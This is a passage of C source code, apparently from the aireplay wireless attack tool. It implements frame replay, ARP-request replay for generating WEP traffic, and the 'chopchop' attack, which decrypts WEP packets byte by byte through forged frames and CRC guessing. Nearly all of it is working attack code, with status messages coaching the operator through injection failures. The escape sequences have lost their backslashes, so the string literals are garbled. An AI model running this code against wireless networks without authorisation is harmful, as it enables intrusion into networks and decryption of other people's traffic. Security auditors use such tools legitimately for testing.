  811.         perror( "fwrite failedn" );
  812.         return( 1 );
  813.     }
  814.     pkh.tv_sec  = tv.tv_sec;
  815.     pkh.tv_usec = tv.tv_usec;
  816.     pkh.caplen  = *caplen;
  817.     pkh.len     = *caplen;
  818.     n = sizeof( pkh );
  819.     if( fwrite( &pkh, n, 1, f_cap_out ) != 1 )
  820.     {
  821.         perror( "fwrite failed" );
  822.         return( 1 );
  823.     }
  824.     n = pkh.caplen;
  825.     if( fwrite( h80211, n, 1, f_cap_out ) != 1 )
  826.     {
  827.         perror( "fwrite failed" );
  828.         return( 1 );
  829.     }
  830.     fclose( f_cap_out );
  831.     return( 0 );
  832. }
  833. int do_attack_interactive( void )
  834. {
  835.     int caplen, n;
  836.     int mi_b, mi_s, mi_d;
  837.     struct timeval tv;
  838.     struct timeval tv2;
  839.     float f, ticks[3];
  840.     unsigned char bssid[6];
  841.     unsigned char smac[6];
  842.     unsigned char dmac[6];
  843. read_packets:
  844.     if( capture_ask_packet( &caplen ) != 0 )
  845.         return( 1 );
  846.     /* rewrite the frame control & MAC addresses */
  847.     switch( h80211[1] & 3 )
  848.     {
  849.         case  0: mi_b = 16; mi_s = 10; mi_d =  4; break;
  850.         case  1: mi_b =  4; mi_s = 10; mi_d = 16; break;
  851.         case  2: mi_b = 10; mi_s = 16; mi_d =  4; break;
  852.         default: mi_b =  4; mi_d = 16; mi_s = 24; break;
  853.     }
  854.     if( memcmp( opt.r_bssid, NULL_MAC, 6 ) == 0 )
  855.         memcpy( bssid, h80211 + mi_b, 6 );
  856.     else
  857.         memcpy( bssid, opt.r_bssid, 6 );
  858.     if( memcmp( opt.r_smac , NULL_MAC, 6 ) == 0 )
  859.         memcpy( smac, h80211 + mi_s, 6 );
  860.     else
  861.         memcpy( smac, opt.r_smac, 6 );
  862.     if( memcmp( opt.r_dmac , NULL_MAC, 6 ) == 0 )
  863.         memcpy( dmac, h80211 + mi_d, 6 );
  864.     else
  865.         memcpy( dmac, opt.r_dmac, 6 );
  866.     if( opt.r_fctrl != -1 )
  867.     {
  868.         h80211[0] = opt.r_fctrl >>   8;
  869.         h80211[1] = opt.r_fctrl & 0xFF;
  870.         switch( h80211[1] & 3 )
  871.         {
  872.             case  0: mi_b = 16; mi_s = 10; mi_d =  4; break;
  873.             case  1: mi_b =  4; mi_s = 10; mi_d = 16; break;
  874.             case  2: mi_b = 10; mi_s = 16; mi_d =  4; break;
  875.             default: mi_b =  4; mi_d = 16; mi_s = 24; break;
  876.         }
  877.     }
  878.     memcpy( h80211 + mi_b, bssid, 6 );
  879.     memcpy( h80211 + mi_s, smac , 6 );
  880.     memcpy( h80211 + mi_d, dmac , 6 );
  881.     /* loop resending the packet */
  882.     printf( "You must also start airodump to capture replies.nn" );
  883.     signal( SIGINT, sighandler );
  884.     ctrl_c = 0;
  885.     memset( ticks, 0, sizeof( ticks ) );
  886.     nb_pkt_sent = 0;
  887.     while( 1 )
  888.     {
  889.         if( ctrl_c )
  890.             goto read_packets;
  891.         /* wait for the next timer interrupt, or sleep */
  892.         if( dev.fd_rtc >= 0 )
  893.         {
  894.             if( read( dev.fd_rtc, &n, sizeof( n ) ) < 0 )
  895.             {
  896.                 perror( "read(/dev/rtc) failed" );
  897.                 return( 1 );
  898.             }
  899.             ticks[0]++;
  900.             ticks[1]++;
  901.             ticks[2]++;
  902.         }
  903.         else
  904.         {
  905.             /* we can't trust usleep, since it depends on the HZ */
  906.             gettimeofday( &tv,  NULL );
  907.             usleep( 1024 );
  908.             gettimeofday( &tv2, NULL );
  909.             f = 1000000 * (float) ( tv2.tv_sec  - tv.tv_sec  )
  910.                         + (float) ( tv2.tv_usec - tv.tv_usec );
  911.             ticks[0] += f / 1024;
  912.             ticks[1] += f / 1024;
  913.             ticks[2] += f / 1024;
  914.         }
  915.         /* update the status line */
  916.         if( ticks[1] > 128 )
  917.         {
  918.             ticks[1] = 0;
  919.             printf( "rSent %ld packets...33[Kr", nb_pkt_sent );
  920.             fflush( stdout );
  921.         }
  922.         if( ( ticks[2] * opt.r_nbpps ) / 1024 < 1 )
  923.             continue;
  924.         /* threshold reached */
  925.         ticks[2] = 0;
  926.         if( send_packet( h80211, caplen ) < 0 )
  927.             return( 1 );
  928.     }
  929.     return( 0 );
  930. }
  931. int do_attack_arp_resend( void )
  932. {
  933.     int nb_bad_pkt;
  934.     int arp_off1, arp_off2;
  935.     int i, n, caplen, nb_arp;
  936.     long nb_pkt_read, nb_arp_tot;
  937.     time_t tc;
  938.     float f, ticks[3];
  939.     struct timeval tv;
  940.     struct timeval tv2;
  941.     struct tm *lt;
  942.     FILE *f_cap_out;
  943.     struct pcap_file_header pfh_out;
  944.     struct pcap_pkthdr pkh;
  945.     struct ARP_req arp[8];
  946.     /* capture only WEP data to broadcast address */
  947.     opt.f_type    = 2;
  948.     opt.f_subtype = 0;
  949.     opt.f_iswep   = 1;
  950.     memset( opt.f_dmac, 0xFF, 6 );
  951.     if( memcmp( opt.f_bssid, NULL_MAC, 6 ) == 0 )
  952.     {
  953.         printf( "Please specify a BSSID (-b).n" );
  954.         return( 1 );
  955.     }
  956.     if( memcmp( opt.r_smac, NULL_MAC, 6 ) == 0 )
  957.     {
  958.         printf( "Please specify a source MAC (-h).n" );
  959.         return( 1 );
  960.     }
  961.     /* create and write the output pcap header */
  962.     gettimeofday( &tv, NULL );
  963.     pfh_out.magic         = TCPDUMP_MAGIC;
  964.     pfh_out.version_major = PCAP_VERSION_MAJOR;
  965.     pfh_out.version_minor = PCAP_VERSION_MINOR;
  966.     pfh_out.thiszone      = 0;
  967.     pfh_out.sigfigs       = 0;
  968.     pfh_out.snaplen       = 65535;
  969.     pfh_out.linktype      = LINKTYPE_IEEE802_11;
  970.     lt = localtime( &tv.tv_sec );
  971.     memset( strbuf, 0, sizeof( strbuf ) );
  972.     snprintf( strbuf,  sizeof( strbuf ) - 1,
  973.               "replay_arp-%02d%02d-%02d%02d%02d.cap",
  974.               lt->tm_mon + 1, lt->tm_mday,
  975.               lt->tm_hour, lt->tm_min, lt->tm_sec );
  976.     printf( "Saving ARP requests in %sn", strbuf );
  977.     if( ( f_cap_out = fopen( strbuf, "wb+" ) ) == NULL )
  978.     {
  979.         perror( "fopen failed" );
  980.         return( 1 );
  981.     }
  982.     n = sizeof( struct pcap_file_header );
  983.     if( fwrite( &pfh_out, n, 1, f_cap_out ) != 1 )
  984.     {
  985.         perror( "fwrite failedn" );
  986.         return( 1 );
  987.     }
  988.     fflush( f_cap_out );
  989.     printf( "You must also start airodump to capture replies.n" );
  990.     /* avoid blocking on reading the socket */
  991.     if( fcntl( dev.fd_in, F_SETFL, O_NONBLOCK ) < 0 )
  992.     {
  993.         perror( "fcntl(O_NONBLOCK) failed" );
  994.         return( 1 );
  995.     }
  996.     memset( ticks, 0, sizeof( ticks ) );
  997.     tc = time( NULL ) - 11;
  998.     nb_pkt_read = 0;
  999.     nb_bad_pkt  = 0;
  1000.     nb_arp      = 0;
  1001.     nb_arp_tot  = 0;
  1002.     arp_off1    = 0;
  1003.     arp_off2    = 0;
  1004.     while( 1 )
  1005.     {
  1006.         /* sleep until the next clock tick */
  1007.         if( dev.fd_rtc >= 0 )
  1008.         {
  1009.             if( read( dev.fd_rtc, &n, sizeof( n ) ) < 0 )
  1010.             {
  1011.                 perror( "read(/dev/rtc) failed" );
  1012.                 return( 1 );
  1013.             }
  1014.             ticks[0]++;
  1015.             ticks[1]++;
  1016.             ticks[2]++;
  1017.         }
  1018.         else
  1019.         {
  1020.             gettimeofday( &tv,  NULL );
  1021.             usleep( 976 );
  1022.             gettimeofday( &tv2, NULL );
  1023.             f = 1000000 * (float) ( tv2.tv_sec  - tv.tv_sec  )
  1024.                         + (float) ( tv2.tv_usec - tv.tv_usec );
  1025.             ticks[0] += f / 976;
  1026.             ticks[1] += f / 976;
  1027.             ticks[2] += f / 976;
  1028.         }
  1029.         if( ticks[1] > 128 )
  1030.         {
  1031.             ticks[1] = 0;
  1032.             printf( "rRead %ld packets (got %ld ARP requests), "
  1033.                     "sent %ld packets...r",
  1034.                     nb_pkt_read, nb_arp_tot, nb_pkt_sent );
  1035.             fflush( stdout );
  1036.         }
  1037.         if( ( ticks[2] * opt.r_nbpps ) / 1024 >= 1 )
  1038.         {
  1039.             /* threshold reach, send one frame */
  1040.             ticks[2] = 0;
  1041.             if( nb_arp > 0 )
  1042.             {
  1043.                 if( send_packet( arp[arp_off1].buf,
  1044.                                  arp[arp_off2].len ) < 0 )
  1045.                     return( 1 );
  1046.                 if( ++arp_off1 >= nb_arp )
  1047.                     arp_off1 = 0;
  1048.             }
  1049.         }
  1050.         /* read a frame, and check if it's an ARP request */
  1051.         if( opt.s_file == NULL )
  1052.         {
  1053.             gettimeofday( &tv, NULL );
  1054.             caplen = read_packet( h80211, sizeof( h80211 ) );
  1055.             if( caplen  < 0 ) return( 1 );
  1056.             if( caplen == 0 ) continue;
  1057.         }
  1058.         else
  1059.         {
  1060.             n = sizeof( pkh );
  1061.             if( fread( &pkh, n, 1, dev.f_cap_in ) != 1 )
  1062.             {
  1063.                 opt.s_file = NULL;
  1064.                 continue;
  1065.             }
  1066.             if( dev.pfh_in.magic == TCPDUMP_CIGAM )
  1067.                 SWAP32( pkh.caplen );
  1068.             tv.tv_sec  = pkh.tv_sec;
  1069.             tv.tv_usec = pkh.tv_usec;
  1070.             n = caplen = pkh.caplen;
  1071.             if( n <= 0 || n > (int) sizeof( h80211 ) )
  1072.             {
  1073.                 printf( "r33[KInvalid packet length %d.n", n );
  1074.                 opt.s_file = NULL;
  1075.                 continue;
  1076.             }
  1077.             if( fread( h80211, n, 1, dev.f_cap_in ) != 1 )
  1078.             {
  1079.                 opt.s_file = NULL;
  1080.                 continue;
  1081.             }
  1082.             if( dev.pfh_in.linktype == LINKTYPE_PRISM_HEADER )
  1083.             {
  1084.                 if( h80211[7] == 0x40 )
  1085.                     n = 64;
  1086.                 else
  1087.                     n = *(int *)( h80211 + 4 );
  1088.                 if( n < 8 || n >= (int) caplen )
  1089.                     continue;
  1090.                 memcpy( tmpbuf, h80211, caplen );
  1091.                 caplen -= n;
  1092.                 memcpy( h80211, tmpbuf + n, caplen );
  1093.             }
  1094.         }
  1095.         nb_pkt_read++;
  1096.         /* check if it's a disas. or deauth packet */
  1097.         if( ( h80211[0] == 0xC0 || h80211[0] == 0xA0 ) &&
  1098.             ! memcmp( h80211 + 4, opt.r_smac, 6 ) )
  1099.         {
  1100.             nb_bad_pkt++;
  1101.             if( nb_bad_pkt > 64 && time( NULL ) - tc >= 10 )
  1102.             {
  1103.                 printf( "33[KNotice: got a deauth/disassoc packet. Is the "
  1104.                         "source MAC associated ?n" );
  1105.                 tc = time( NULL );
  1106.                 nb_bad_pkt = 0;
  1107.             }
  1108.         }
  1109.         /* check if it's a potential ARP request */
  1110.         opt.f_minlen = opt.f_maxlen = 68;
  1111.         if( filter_packet( h80211, caplen ) == 0 )
  1112.             goto add_arp;
  1113.         opt.f_minlen = opt.f_maxlen = 86;
  1114.         if( filter_packet( h80211, caplen ) == 0 )
  1115.         {
  1116. add_arp:
  1117.             switch( h80211[1] & 3 )
  1118.             {
  1119.                 case  1: /* ToDS */
  1120.                 {
  1121.                     /* keep as a ToDS packet */
  1122.                     memcpy( h80211 +  4, opt.f_bssid, 6 );
  1123.                     memcpy( h80211 + 10, opt.r_smac,  6 );
  1124.                     memcpy( h80211 + 16, opt.f_dmac,  6 );
  1125.                     h80211[1] = 0x41;   /* ToDS & WEP  */
  1126.                 }
  1127.                 case  2: /* FromDS */
  1128.                 {
  1129.                     if( opt.r_fromdsinj )
  1130.                     {
  1131.                         /* keep as a FromDS packet */
  1132.                         memcpy( h80211 +  4, opt.f_dmac,  6 );
  1133.                         memcpy( h80211 + 10, opt.f_bssid, 6 );
  1134.                         memcpy( h80211 + 16, opt.r_smac,  6 );
  1135.                         h80211[1] = 0x42;   /* FromDS & WEP  */
  1136.                     }
  1137.                     else
  1138.                     {
  1139.                         /* rewrite header to make it a ToDS packet */
  1140.                         memcpy( h80211 +  4, opt.f_bssid, 6 );
  1141.                         memcpy( h80211 + 10, opt.r_smac,  6 );
  1142.                         memcpy( h80211 + 16, opt.f_dmac,  6 );
  1143.                         h80211[1] = 0x41;   /* ToDS & WEP  */
  1144.                     }
  1145.                 }
  1146.             }
  1147.             h80211[0] = 0x08;   /* normal data */
  1148.             /* if same IV, perhaps our own packet, skip it */
  1149.             for( i = 0; i < nb_arp; i++ )
  1150.             {
  1151.                 if( memcmp( h80211 + 24, arp[i].buf + 24, 4 ) == 0 )
  1152.                     break;
  1153.             }
  1154.             if( i < nb_arp )
  1155.                 continue;
  1156.             /* add the ARP request in the ring buffer */
  1157.             nb_arp_tot++;
  1158.             if( nb_arp >= 8 )
  1159.             {
  1160.                 /* no more room, overwrite oldest entry */
  1161.                 memcpy( arp[arp_off2].buf, h80211, caplen );
  1162.                 arp[arp_off2].len = caplen;
  1163.                 if( ++arp_off2 >= nb_arp )
  1164.                     arp_off2 = 0;
  1165.             }
  1166.             else
  1167.             {
  1168.                 if( ( arp[nb_arp].buf = malloc( 128 ) ) == NULL )
  1169.                 {
  1170.                     perror( "malloc failed" );
  1171.                     return( 1 );
  1172.                 }
  1173.    
  1174.                 memcpy( arp[nb_arp].buf, h80211, caplen );
  1175.                 arp[nb_arp].len = caplen;
  1176.                 nb_arp++;
  1177.                 pkh.tv_sec  = tv.tv_sec;
  1178.                 pkh.tv_usec = tv.tv_usec;
  1179.                 pkh.caplen  = caplen;
  1180.                 pkh.len     = caplen;
  1181.                 n = sizeof( pkh );
  1182.                 if( fwrite( &pkh, n, 1, f_cap_out ) != 1 )
  1183.                 {
  1184.                     perror( "fwrite failed" );
  1185.                     return( 1 );
  1186.                 }
  1187.                 n = pkh.caplen;
  1188.                 if( fwrite( h80211, n, 1, f_cap_out ) != 1 )
  1189.                 {
  1190.                     perror( "fwrite failed" );
  1191.                     return( 1 );
  1192.                 }
  1193.                 fflush( f_cap_out );
  1194.             }
  1195.         }
  1196.     }
  1197.     return( 0 );
  1198. }
  1199. int do_attack_chopchop( void )
  1200. {
  1201.     float f, ticks[4];
  1202.     int i, j, n, z, caplen;
  1203.     int data_start, data_end;
  1204.     int guess, is_deauth_mode;
  1205.     int nb_bad_pkt;
  1206.     FILE *f_cap_out;
  1207.     long nb_pkt_read;
  1208.     unsigned long crc_mask;
  1209.     unsigned char *chopped;
  1210.     time_t tt;
  1211.     struct tm *lt;
  1212.     struct timeval tv;
  1213.     struct timeval tv2;
  1214.     struct pcap_file_header pfh_out;
  1215.     struct pcap_pkthdr pkh;
  1216.     if( capture_ask_packet( &caplen ) != 0 )
  1217.         return( 1 );
  1218.     printf( "n" );
  1219.     /* chopchop operation mode: truncate and decrypt the packet */
  1220.     /* we assume the plaintext starts with  AA AA 03 00 00 00   */
  1221.     memcpy( srcbuf, h80211, caplen );
  1222.     /* setup the chopping buffer */
  1223.     z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30;
  1224.     n = caplen - z + 24;
  1225.     if( ( chopped = (unsigned char *) malloc( n ) ) == NULL )
  1226.     {
  1227.         perror( "malloc failed" );
  1228.         return( 1 );
  1229.     }
  1230.     memset( chopped, 0, n );
  1231.     data_start = z + 4;
  1232.     data_end   = caplen;
  1233.     chopped[0] = 0x08;  /* normal data frame */
  1234.     chopped[1] = 0x41;  /* WEP = 1, ToDS = 1 */
  1235.     /* copy the duration */
  1236.     memcpy( chopped + 2, h80211 + 2, 2 );
  1237.     /* copy the BSSID */
  1238.     switch( h80211[1] & 3 )
  1239.     {
  1240.         case  0: memcpy( chopped + 4, h80211 + 16, 6 ); break;
  1241.         case  1: memcpy( chopped + 4, h80211 +  4, 6 ); break;
  1242.         case  2: memcpy( chopped + 4, h80211 + 10, 6 ); break;
  1243.         default: memcpy( chopped + 4, h80211 +  4, 6 ); break;
  1244.     }
  1245.     /* copy the WEP IV */
  1246.     memcpy( chopped + 24, h80211 + z, 4 );
  1247.     /* setup the xor mask to hide the original data */
  1248.     crc_mask = 0;
  1249.     for( i = data_start; i < data_end - 4; i++ )
  1250.     {
  1251.         switch( i - data_start )
  1252.         {
  1253.             case  0: chopped[i] = 0xAA ^ 0xE0; break;
  1254.             case  1: chopped[i] = 0xAA ^ 0xE0; break;
  1255.             case  2: chopped[i] = 0x03 ^ 0x03; break;
  1256.             default: chopped[i] = 0x55 ^ ( i & 0xFF ); break;
  1257.         }
  1258.         crc_mask = crc_tbl[crc_mask & 0xFF]
  1259.                  ^ ( crc_mask   >>  8 )
  1260.                  ^ ( chopped[i] << 24 );
  1261.     }
  1262.     for( i = 0; i < 4; i++ )
  1263.         crc_mask = crc_tbl[crc_mask & 0xFF]
  1264.                  ^ ( crc_mask >> 8 );
  1265.     chopped[data_end - 4] = crc_mask; crc_mask >>= 8;
  1266.     chopped[data_end - 3] = crc_mask; crc_mask >>= 8;
  1267.     chopped[data_end - 2] = crc_mask; crc_mask >>= 8;
  1268.     chopped[data_end - 1] = crc_mask; crc_mask >>= 8;
  1269.     for( i = data_start; i < data_end; i++ )
  1270.         chopped[i] ^= srcbuf[i];
  1271.     data_start += 6; /* skip the SNAP header */
  1272.     /* if the replay source mac is unspecified, forge one */
  1273.     if( memcmp( opt.r_smac, NULL_MAC, 6 ) == 0 )
  1274.     {
  1275.         is_deauth_mode = 1;
  1276.         opt.r_smac[0] = 0x00;
  1277.         opt.r_smac[1] = rand() & 0x3E;
  1278.         opt.r_smac[2] = rand() & 0xFF;
  1279.         opt.r_smac[3] = rand() & 0xFF;
  1280.         opt.r_smac[4] = rand() & 0xFF;
  1281.         memcpy( opt.r_dmac, "xFFxFFxFFxFFxFFxFF", 6 );
  1282.     }
  1283.     else
  1284.     {
  1285.         is_deauth_mode = 0;
  1286.         opt.r_dmac[0] = 0xFF;
  1287.         opt.r_dmac[1] = rand() & 0xFE;
  1288.         opt.r_dmac[2] = rand() & 0xFF;
  1289.         opt.r_dmac[3] = rand() & 0xFF;
  1290.         opt.r_dmac[4] = rand() & 0xFF;
  1291.     }
  1292.     /* let's go chopping */
  1293.     memset( ticks, 0, sizeof( ticks ) );
  1294.     nb_pkt_read = 0;
  1295.     nb_pkt_sent = 0;
  1296.     nb_bad_pkt  = 0;
  1297.     guess       = 256;
  1298.     tt = time( NULL );
  1299.     alarm( 30 );
  1300.     signal( SIGALRM, sighandler );
  1301.     if( fcntl( dev.fd_in, F_SETFL, O_NONBLOCK ) < 0 )
  1302.     {
  1303.         perror( "fcntl(O_NONBLOCK) failed" );
  1304.         return( 1 );
  1305.     }
  1306.     while( data_end > data_start )
  1307.     {
  1308.         if( alarmed )
  1309.         {
  1310.             printf( "nn"
  1311. "The chopchop attack appears to have failed. Possible reasons:n"
  1312. "n"
  1313. "    * You're trying to inject with an unsupported chipset (Centrino?).n"
  1314. "    * The driver source wasn't properly patched for injection support.n"
  1315. "    * You are too far from the AP. Get closer or reduce the send rate.n"
  1316. "    * Target is 802.11g only but you are using a Prism2 or RTL8180.n"
  1317. "    * The wireless interface isn't setup on the correct channel.n" );
  1318.             if( is_deauth_mode )
  1319.                 printf(
  1320. "    * The AP isn't vulnerable when operating in non-authenticated mode.n"
  1321. "      Run aireplay in authenticated mode instead (-h option).nn" );
  1322.             else
  1323.                 printf(
  1324. "    * The client MAC you have specified is not currently authenticated.n"
  1325. "      Try running another aireplay to fake authentication (attack "-1").n"
  1326. "    * The AP isn't vulnerable when operating in authenticated mode.n"
  1327. "      Try aireplay in non-authenticated mode instead (no -h option).nn" );
  1328.             return( 1 );
  1329.         }
  1330.         /* wait for the next timer interrupt, or sleep */
  1331.         if( dev.fd_rtc >= 0 )
  1332.         {
  1333.             if( read( dev.fd_rtc, &n, sizeof( n ) ) < 0 )
  1334.             {
  1335.                 perror( "nread(/dev/rtc) failed" );
  1336.                 return( 1 );
  1337.             }
  1338.             ticks[0]++;  /* ticks since we entered the while loop     */
  1339.             ticks[1]++;  /* ticks since the last status line update   */
  1340.             ticks[2]++;  /* ticks since the last frame was sent       */
  1341.             ticks[3]++;  /* ticks since started chopping current byte */
  1342.         }
  1343.         else
  1344.         {
  1345.             /* we can't trust usleep, since it depends on the HZ */
  1346.             gettimeofday( &tv,  NULL );
  1347.             usleep( 976 );
  1348.             gettimeofday( &tv2, NULL );
  1349.             f = 1000000 * (float) ( tv2.tv_sec  - tv.tv_sec  )
  1350.                         + (float) ( tv2.tv_usec - tv.tv_usec );
  1351.             ticks[0] += f / 976;
  1352.             ticks[1] += f / 976;
  1353.             ticks[2] += f / 976;
  1354.             ticks[3] += f / 976;
  1355.         }
  1356.         /* update the status line */
  1357.         if( ticks[1] > 128 )
  1358.         {
  1359.             ticks[1] = 0;
  1360.             printf( "rSent %3ld packets, current guess: %02X...33[K",
  1361.                     nb_pkt_sent, guess );
  1362.             fflush( stdout );
  1363.         }
  1364.         if( data_end == 40 && ticks[3] > 8 * ( ticks[0] - ticks[3] ) /
  1365.                                 (int) ( caplen - ( data_end - 1 ) ) )
  1366.         {
  1367.             printf( "nnThe AP appears to drop packets shorter "
  1368.                     "than 40 bytes.n" );
  1369.             z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30;
  1370.             if( ( chopped[data_end + 0] ^ srcbuf[data_end + 0] ) == 0x06 &&
  1371.                 ( chopped[data_end + 1] ^ srcbuf[data_end + 1] ) == 0x04 &&
  1372.                 ( chopped[data_end + 2] ^ srcbuf[data_end + 2] ) == 0x00 )
  1373.             {
  1374.                 printf( "Enabling standard workaround: "
  1375.                         "ARP header re-creation.n" );
  1376.                 chopped[z + 10] = srcbuf[z + 10] ^ 0x08;
  1377.                 chopped[z + 11] = srcbuf[z + 11] ^ 0x06;
  1378.                 chopped[z + 12] = srcbuf[z + 12] ^ 0x00;
  1379.                 chopped[z + 13] = srcbuf[z + 13] ^ 0x01;
  1380.                 chopped[z + 14] = srcbuf[z + 14] ^ 0x08;
  1381.                 chopped[z + 15] = srcbuf[z + 15] ^ 0x00;
  1382.             }
  1383.             else
  1384.             {
  1385.                 printf( "Enabling standard workaround: "
  1386.                         " IP header re-creation.n" );
  1387.                 n = caplen - ( z + 16 );
  1388.                 chopped[z +  4] = srcbuf[z +  4] ^ 0xAA;
  1389.                 chopped[z +  5] = srcbuf[z +  5] ^ 0xAA;
  1390.                 chopped[z +  6] = srcbuf[z +  6] ^ 0x03;
  1391.                 chopped[z +  7] = srcbuf[z +  7] ^ 0x00;
  1392.                 chopped[z +  8] = srcbuf[z +  8] ^ 0x00;
  1393.                 chopped[z +  9] = srcbuf[z +  9] ^ 0x00;
  1394.                 chopped[z + 10] = srcbuf[z + 10] ^ 0x08;
  1395.                 chopped[z + 11] = srcbuf[z + 11] ^ 0x00;
  1396.                 chopped[z + 14] = srcbuf[z + 14] ^ ( n >> 8 );
  1397.                 chopped[z + 15] = srcbuf[z + 15] ^ ( n & 0xFF );
  1398.                 memcpy( h80211, srcbuf, caplen );
  1399.                 for( i = z + 4; i < (int) caplen; i++ )
  1400.                     h80211[i - 4] = h80211[i] ^ chopped[i];
  1401.                 /* sometimes the header length or the tos field vary */
  1402.                 for( i = 0; i < 16; i++ )
  1403.                 {
  1404.                      h80211[z +  8] = 0x40 + i;
  1405.                     chopped[z + 12] = srcbuf[z + 12] ^ ( 0x40 + i );
  1406.                     for( j = 0; j < 256; j++ )
  1407.                     {
  1408.                          h80211[z +  9] = j;
  1409.                         chopped[z + 13] = srcbuf[z + 13] ^ j;
  1410.                         if( check_crc_buf( h80211 + z, caplen - z - 8 ) )
  1411.                             goto have_crc_match;
  1412.                     }
  1413.                 }
  1414.                 printf( "This doesn't look like an IP packet, "
  1415.                         "try another one.n" );
  1416.             }
  1417.         have_crc_match:
  1418.             break;
  1419.         }
  1420.         if( ( ticks[2] * opt.r_nbpps ) / 1024 >= 1 )
  1421.         {
  1422.             /* send one modified frame */
  1423.             ticks[2] = 0;
  1424.             memcpy( h80211, chopped, data_end - 1 );
  1425.             /* note: guess 256 is special, it tests if the  *
  1426.              * AP properly drops frames with an invalid ICV *
  1427.              * so this guess always has its bit 8 set to 0  */
  1428.             if( is_deauth_mode )
  1429.             {
  1430.                 opt.r_smac[1] |= ( guess < 256 );
  1431.                 opt.r_smac[5]  = guess & 0xFF;
  1432.             }
  1433.             else
  1434.             {
  1435.                 opt.r_dmac[1] |= ( guess < 256 );
  1436.                 opt.r_dmac[5]  = guess & 0xFF;
  1437.             }
  1438.             memcpy( h80211 + 10, opt.r_smac,  6 );
  1439.             memcpy( h80211 + 16, opt.r_dmac,  6 );
  1440.             if( guess < 256 )
  1441.             {
  1442.                 h80211[data_end - 2] ^= crc_chop_tbl[guess][3];
  1443.                 h80211[data_end - 3] ^= crc_chop_tbl[guess][2];
  1444.                 h80211[data_end - 4] ^= crc_chop_tbl[guess][1];
  1445.                 h80211[data_end - 5] ^= crc_chop_tbl[guess][0];
  1446.             }
  1447.             errno = 0;
  1448.             if( send_packet( h80211, data_end -1 ) != 0 )
  1449.                 return( 1 );
  1450.             if( errno != EAGAIN )
  1451.             {
  1452.                 guess++;
  1453.                 if( guess > 256 )
  1454.                     guess = 0;
  1455.             }
  1456.         }
  1457.         /* watch for a response from the AP */
  1458.         n = read_packet( h80211, sizeof( h80211 ) );
  1459.         if( n  < 0 ) return( 1 );
  1460.         if( n == 0 ) continue;
  1461.         nb_pkt_read++;
  1462.         /* check if it's a deauth packet */
  1463.         if( h80211[0] == 0xA0 || h80211[0] == 0xC0 )
  1464.         {
  1465.             if( memcmp( h80211 + 4, opt.r_smac, 6 ) == 0 &&
  1466.                 ! is_deauth_mode )
  1467.             {
  1468.                 nb_bad_pkt++;
  1469.                 if( nb_bad_pkt > 256 )
  1470.                 {
  1471.                     printf(
  1472.                 "nnFailure: got several deauthentication packets "
  1473.                 "from the AP - try runningnanother aireplay with "
  1474.                 "attack "-1" (fake open-system authentication).nn" );
  1475.                     return( 1 );
  1476.                 }
  1477.                 continue;
  1478.             }
  1479.             if( h80211[4] != opt.r_smac[0] ) continue;
  1480.             if( h80211[6] != opt.r_smac[2] ) continue;
  1481.             if( h80211[7] != opt.r_smac[3] ) continue;
  1482.             if( h80211[8] != opt.r_smac[4] ) continue;
  1483.             if( ( h80211[5]     & 0xFE ) !=
  1484.                 ( opt.r_smac[1] & 0xFE ) ) continue;
  1485.             if( ! ( h80211[5] & 1 ) )
  1486.             {
  1487.                 printf( "nnFailure: the access point does not properly "
  1488.                         "discard frames with anninvalid ICV - try running "
  1489.                         "aireplay in authenticated mode (-h) instead.nn" );
  1490.                 return( 1 );
  1491.             }
  1492.         }
  1493.         else
  1494.         {
  1495.             if( is_deauth_mode )
  1496.                 continue;
  1497.             /* check if it's a WEP data packet */
  1498.             if( ( h80211[0] & 0x0C ) != 8 ) continue;
  1499.             if( ( h80211[0] & 0xF0 ) != 0 ) continue;
  1500.             if( ( h80211[1] & 0x03 ) != 2 ) continue;
  1501.             if( ( h80211[1] & 0x40 ) == 0 ) continue;
  1502.             /* check the extended IV (TKIP) flag */
  1503.             z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30;
  1504.             if( ( h80211[z + 3] & 0x20 ) != 0 ) continue;
  1505.             /* check the destination address */
  1506.             if( h80211[4] != opt.r_dmac[0] ) continue;
  1507.             if( h80211[6] != opt.r_dmac[2] ) continue;
  1508.             if( h80211[7] != opt.r_dmac[3] ) continue;
  1509.             if( h80211[8] != opt.r_dmac[4] ) continue;
  1510.             if( ( h80211[5]     & 0xFE ) !=
  1511.                 ( opt.r_dmac[1] & 0xFE ) ) continue;
  1512.             if( ! ( h80211[5] & 1 ) )
  1513.             {
  1514.                 printf( "nnFailure: the access point does not properly "
  1515.                         "discard frames with anninvalid ICV - try running "
  1516.                         "aireplay in non-authenticated mode instead.nn" );
  1517.                 return( 1 );
  1518.             }
  1519.         }
  1520.         /* we have a winner */
  1521.         guess = h80211[9];
  1522.         chopped[data_end - 1] ^= guess;
  1523.         chopped[data_end - 2] ^= crc_chop_tbl[guess][3];
  1524.         chopped[data_end - 3] ^= crc_chop_tbl[guess][2];
  1525.         chopped[data_end - 4] ^= crc_chop_tbl[guess][1];
  1526.         chopped[data_end - 5] ^= crc_chop_tbl[guess][0];
  1527.         n = caplen - data_start;
  1528.         printf( "rOffset %4d (%2d%% done) | xor = %02X | pt = %02X | "
  1529.                 "%4ld frames written in %5.0fmsn", data_end - 1,
  1530.                 100 * ( caplen - data_end ) / n,
  1531.                 chopped[data_end - 1],
  1532.                 chopped[data_end - 1] ^ srcbuf[data_end - 1],
  1533.                 nb_pkt_sent, ticks[3] );
  1534.         if( is_deauth_mode )
  1535.         {
  1536.             opt.r_smac[1] = rand() & 0x3E;
  1537.             opt.r_smac[2] = rand() & 0xFF;
  1538.             opt.r_smac[3] = rand() & 0xFF;
  1539.             opt.r_smac[4] = rand() & 0xFF;
  1540.         }
  1541.         else
  1542.         {
  1543.             opt.r_dmac[1] = rand() & 0xFE;
  1544.             opt.r_dmac[2] = rand() & 0xFF;
  1545.             opt.r_dmac[3] = rand() & 0xFF;
  1546.             opt.r_dmac[4] = rand() & 0xFF;
  1547.         }
  1548.         ticks[3]        = 0;
  1549.         nb_pkt_sent     = 0;
  1550.         nb_bad_pkt      = 0;
  1551.         guess           = 256;
  1552.         data_end--;
  1553.         alarm( 0 );
  1554.     }
  1555.     /* reveal the plaintext (chopped contains the prga) */
  1556.     memcpy( h80211, srcbuf, caplen );
  1557.     z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30;
  1558.     chopped[z + 4] = srcbuf[z + 4] ^ 0xAA;
  1559.     chopped[z + 5] = srcbuf[z + 5] ^ 0xAA;
